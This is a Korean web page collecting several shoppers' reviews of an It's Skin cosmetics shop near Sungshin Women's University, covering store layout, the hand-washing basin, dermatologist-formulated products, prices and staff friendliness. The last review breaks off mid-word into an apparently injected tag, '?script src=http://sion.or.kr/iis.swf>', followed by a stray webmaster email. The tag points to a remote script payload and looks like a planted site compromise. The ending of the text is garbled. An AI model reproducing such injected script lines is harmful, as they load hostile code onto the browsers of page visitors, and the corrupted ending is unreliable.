스킨 빛 컬러가 눈에 띄는 브랜드숍 잇츠스킨을 방문했다. 매장에 들어서면 중앙에 신제품과 히트상품을 진열해 쉽게 눈에 띄도록 했으며 입구에서 가까운 곳에는 테스트가 간편한 색조제품을, 안쪽에는 비교적 꼼꼼히 살펴보게 되는 스킨케어와 바디, 헤어, 기능성 제품들을 진열했다. 가장 눈에 띄는 것은 바로 세면대. 일반 화장품 매장에서 볼 수 없는 세면대는 제품 사용 후 클렌징이나 깨끗하게 클렌징 후 제품을 테스트 할 수 있도록 배려했다. 또한 피부과 의사들이 처방한 파워10포뮬라는 피부타입과 여러 가지 피부상태에 따라 골라서 사용할 수 있으며 9800원이라는 저렴한 가격이 만족스러웠다. 색조제품의 컬러역시 비비드한 트렌드 컬러를 배제하고 자연적인 뉴트럴 컬러를 구비해 전체 매장 컨셉에 어긋나지 않고 조화로운 느낌을 주었다.
잇츠스킨은 고객층이 10대에서 20대가 주를 이르는 성신여대 로데오거리에 입점되어 있어 자연스럽게 찾게 됐다. 전반적으로 매장의 조명은 은은하고 부드러웠고, 다른 저가화장품 매장과 다르게 화장품이 깔끔하게 잘 정리정돈되어 있었고, 제품이 다른 곳에 비해 져렴하기만 한 것이 아니라 기능성제품이 많고 피부타입별로 세세하게 잘 나누어져 있어 손쉽게 구매할 수 있도록 되어있었다. 그리고, 매장에 걸린 브랜드를 개발한 피부과 전문의들의 사진은 제품에 차별화를 주고, 믿음을 주는것 같았다. 다만, 한가지 아쉬운점은 직원들이 부담을 주지 않기위해 고객과의 거리를 두는것 같아 보였는데 따뜻한 미소로 맞아주었으면 좋을 것 같았다.
성신여대 골목에 있는 잇츠스킨 매장은 전체적으로 핑크 빛 톤의 무난하고 깔끔한 느낌이었다. 매장 안은 넓고 정리정돈이 잘 돼 있어서 천천히 구경하고 테스트할 수 있도록 되어 있었다. 다른 화장품 브랜드에 비해 민감성 피부를 위한 기초 화장품이나 에센스 제품이 눈길을 끌었다. 아토피 피부라서 평소에도 쉽게 화장품을 사기가 꺼려지는데 ‘파워 10 포뮬라 시리즈’나 아토피용 기초 화장품이 있어서 다른 화장품 브랜드보다 믿음이 간다. 또한 생각보다 저렴한 가격도 마음에 든다. 색조 메이크업 제품 중에서는 금색이나 보라색 펄 아이라이너와 용기가 립글로스처럼 생긴 크림타입의 아이 섀도가 눈길을 끌었다. 마스카라도 뭉침 없이 잘 발라졌고 입술을 통통하게 만들어 주는 립 플럼프 제품도 마음에 들었다.
매장이 밝고 넓어서 깨끗하고 정돈된 느낌이었다. 다른 매장에서는 이것저것 손등에 테스트해본 후 대충 화장솜으로 지우곤 했는데 이곳은 한쪽에 손을 씻을 수 있는 세면대가 배치돼 있어 무척 마음에 들었다. 또 세면대에 핸드워시나 핸드크림 제품 등이 놓여있어서 손도 씻고 제품 테스트도 직접 해볼 수 있어 좋았다. 특히 다른 곳에 비해 샘플 상태가 양호한 것이 인상적이었다. 테스트용 도구도 비교적 깨끗하고 샘플의 양이 충분히 남아있어 기분 좋게 써볼 수 있었다. 그러나 다양한 기초제품에 비해 색조제품이 적어 아쉬웠다. 매장 매니저가 제품 성분과 효과를 설명해줬는데 전문적이고 구체적이라 화장품에 관심이 큰 사람이라면 좋은 정보가 될 듯 하다. 사실 나에게는 어려운 성분이야기가 조금 부담됐다.
성신여대점에 입점한 잇츠스킨이라는 매장을 처음 들어갔을 때 다른 타 매장처럼 사람의 눈을 확 끌어들이지는 못했다. 하지만 전체적으로 화이트 톤의 느낌이 고객들에세 밝고 부드럽고 편안한 느낌을 주었다. 반면에 병원같은 느낌을 받아서인지 화장품 매장치고는 딱딱한 이미지로 다가오기도했다. 용기도 너무 화려하지도 않으면서 깔끔한 이미지를 주었고, 진열대에 잘 정리되어있어 손쉽게 찾을수가 있었다. 더군다나 피부과 전문의들이 처방한 닥터라는 컨셉으로 고객들이 자기 피부의 타입별로 화장품을 사용할수 있는점이 무엇보다 좋았다. 굳이 피부과를 찾지않아도 저렴한 가격으로 의약처방이 있는 제품을 구입하는게 다른 타 매장과 다른거 같다. 아쉬웠던 점은 직원들이 미소가 부족했던 것 같다.
먼저 매장이 타 브랜드숍에 비해 크고 환한 조명덕분에 화장품들이 복잡하고 꾸역꾸역 있다는 느낌 보다는 깔끔하?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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